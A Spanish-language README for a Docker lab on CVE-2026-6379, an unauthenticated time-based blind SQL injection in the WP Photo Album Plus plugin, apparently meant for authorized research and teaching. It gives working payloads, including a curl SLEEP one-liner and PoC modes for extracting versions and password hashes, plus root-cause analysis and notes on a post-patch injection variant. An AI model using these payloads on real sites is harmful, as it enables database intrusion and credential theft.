
# Kit de laboratorio basado en Docker para CVE-2026-6379, una inyección SQL no autenticada en WP Photo Album Plus. Incluye PoC de ceguera basada en tiempo, análisis de causa raíz y validación de parches para investigación de seguridad autorizada.
Parámetro: wppa-supersearch
Severidad: CVSS 8.6 (alta) según WPScan/Wordfence
Corrección del proveedor: 2026-04-17 (commit d2b0d05d en el espejo de WordPressBugBounty)
Divulgación pública: 2026-04-27 (WPScan)
Este kit te ofrece un laboratorio Docker autocontenido y un PoC funcional para que puedas reproducir, validar y enseñar el fallo de principio a fin.
# En el host del laboratorio:
cd lab && ./setup.sh
# Cuando el instalador imprima "=== LAB READY ===" con un page_id:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
Un objetivo vulnerable responde en ~5s a la sonda SLEEP; un objetivo parcheado responde en .
<1sComprobación manual en una sola línea:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # este archivo
├── docs/
│ ├── writeup.md # análisis de causa raíz + parche
│ └── prompts.md # prompts de investigación con IA que destilaron este kit
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # iniciar / detener / purgar
│ └── init/install.sh # instalador idempotente (wp-cli)
└── pocs/
├── exploit.py # SQLi ciega basada en tiempo (probe / version / user / hash)
└── test_oracle.sh # prueba de integración de extremo a extremo
wppa_get_photos() analiza el parámetro de solicitud wppa-supersearch como un
CSV s1,type,s3,DATA. Cuando type='o' (Propietario), DATA se concatena
directamente en una cadena SQL:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
Sin comillas escapadas, sin $wpdb->prepare. Establecer wppa-supersearch=,o,,x' OR (...)-- -
escapa el propietario entre comillas y ejecuta SQL arbitrario. El endpoint es la página
pública del front-end que aloja el shortcode [wppa], por lo que no se requiere autenticación.
La corrección envuelve cada caso previamente concatenado en $wpdb->prepare(..., %s).
d2b0d05d)El parche de CVE-2026-6379 reescribe seis sinks SQL distintos dentro de
wppa_get_photos() en wppa-functions.php. Ambos modos del PoC (probe y
probe-calendar) alcanzan unos independientes; los demás difieren solo en la forma
del payload. Todos son no autenticados y accesibles mediante la misma compuerta wppa-occur=N
que el sink principal.
| # | Sink (línea vulnerable) | Parámetros de activación | Modo PoC |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (línea 1244) | wppa-supersearch=,o,,… | --mode probe (validado en vivo) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (línea 1237) | wppa-supersearch=,n,,… | no explotado (el filtro slug elimina comillas) |
| 3 | tag — WHERE tags LIKE '%$d%' (línea 1254) | wppa-supersearch=,g,,… | limitado por wppa_sanitize_tags() |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (línea 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (validado en vivo) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (línea 1368) | wppa-calendar=timestamp&wppa-caldate=… | coerción numérica (intval) — limitado |
| 6 | calendar modified — igual que timestamp (línea 1375) | wppa-calendar=modified&wppa-caldate=… | coerción numérica — limitado |
Las líneas #4–#6 también eliminaron un fragmento colgante ORDER BY $order en el mismo
commit — ver "Endurecimiento relacionado" más abajo.
Una auditoría más amplia de wppa-functions.php contra la misma compilación vulnerable
reveló sinks fuera del parche de CVE-2026-6379. No son lo que
WPScan/Wordfence publicó, y no todos son igualmente explotables, pero
se documentan aquí para que el laboratorio también sea útil para la caza de variantes.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — probable vulnerabilidad separadaEstado: presente en 9.1.11.001 (post-parche). No abordado por d2b0d05d.
Candidato para un CVE de seguimiento.
%s no es válido para una lista IN separada por comas (siempre emite una sola
cadena entre comillas). El plugin lo soluciona envolviendo la declaración
preparada en stripslashes(), que elimina el mismo escape que prepare()
acaba de añadir — reabriendo la inyección si cualquier elemento de la lista está contaminado por el atacante.
Ocurrencias representativas: wppa-functions.php líneas 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491.
Consulta de caza para análisis de variantes:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — abordado parcialmenteEl parche eliminó ORDER BY $order de los sinks de calendario/cláusula IN pero
lo dejó en otros. $order se establece desde el estado de ejecución del plugin (tabla
de ajustes) — la explotabilidad requiere una ruta de escritura hacia ese estado. Trátalo como
endurecimiento.
wp_strip_all_tags() usado como saneador SQL (variante de #4)wp_strip_all_tags elimina HTML, no SQL. Dondequiera que aparezca alrededor de un
fragmento SQL entre comillas, ese fragmento es inyectable. Más allá de caldate, audita
cualquier otro valor de solicitud que fluya a través de esta función antes de la
concatenación.
| Estado | probe | probe-calendar |
|---|---|---|
| Vulnerable (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| Parcheado (9.1.11.001) | [-] No confirmado — ~0.04s | [-] No confirmado — ~0.04s |
| Plugin deshabilitado | [-] No confirmado — ~0.04s | [-] No confirmado — ~0.04s |
Página sin shortcode [wppa] | [-] No confirmado — ~0.04s | [-] No confirmado — ~0.04s |
Cambia de versión en un laboratorio en ejecución:
# Parcheado:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# Vuelve a ejecutar la sonda; debería ser negativa.
admin / adminadmin — nunca lo expongas a internet../setup.sh purge (elimina el volumen de la base de datos).wppa-functions.php (vulnerable): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (parcheado): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php